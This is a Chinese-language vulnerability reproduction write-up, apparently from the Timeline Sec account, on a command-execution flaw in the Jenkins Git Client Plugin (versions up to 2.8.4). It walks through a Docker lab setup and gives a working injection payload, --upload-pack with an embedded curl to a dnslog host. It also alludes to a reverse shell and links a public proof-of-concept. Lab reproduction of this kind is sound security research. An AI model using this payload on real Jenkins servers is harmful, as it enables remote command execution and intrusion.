0x00 简介
Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能。
0x01 漏洞概述
Git客户端插件中的系统命令执行漏洞,这是以允许具有Job/Configure权限的攻击者在Jenkins主服务器上执行任意系统命令作为Jenkins进程正在运行的OS用户的方式实现命令执行。
0x02 影响范围
Git client Plugin <= 2.8.4
0x03 环境搭建
docker search Jenkins
docker pull jenkins/jenkins
docker run -d -p 8080:8080 -p 50000:50000 jenkins/jenkins
等待1~2分钟后(启动较慢),浏览器访问ip:8080进入环境
docker exec -it 2d0c55ad015c /bin/bash
cat /var/jenkins_home/secrets/initialAdminPassword
输入密码后继续下一步,安装推荐的插件,这个安装过程要花比较长的时间,15~20分钟
继续下一步,创建一个管理员
继续下一步,就进入了Jenkins主页面
系统管理 -- 管理用户 -- 新建用户,创建一个user账户
然后进入:系统管理 -- 全局安全配置,为user账户配置如下权限
下载漏洞版本的插件(推荐安装的都是官网的最新版本)
git客户端:http://updates.jenkins-ci.org/download/plugins/git-client/2.8.2/git-client.hpi
git插件:http://updates.jenkins-ci.org/download/plugins/git/3.12.0/git.hpi
然后进入:系统管理 -- 插件管理 -- 高级,将两个插件上传
都上传完后点击下图的安装完成后重启Jenkins即可重新启动服务
0x04 漏洞利用
重启后,登录user账户
新建任务 -- 流水线
确定后,点击流水线
选择以下选项,输入Poc(使用dnslog检测):
--upload-pack="`curl ysp8lf.dnslog.cn`"
查看dnslog,检测到流量
反弹shell后便可以做你想做的事情了
Poc脚本:
https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
参考链接:
https://mp.weixin.qq.com/s/Axx7KYm9irAQv7ZIO8autg
更多复现内容请关注公众号Timeline Sec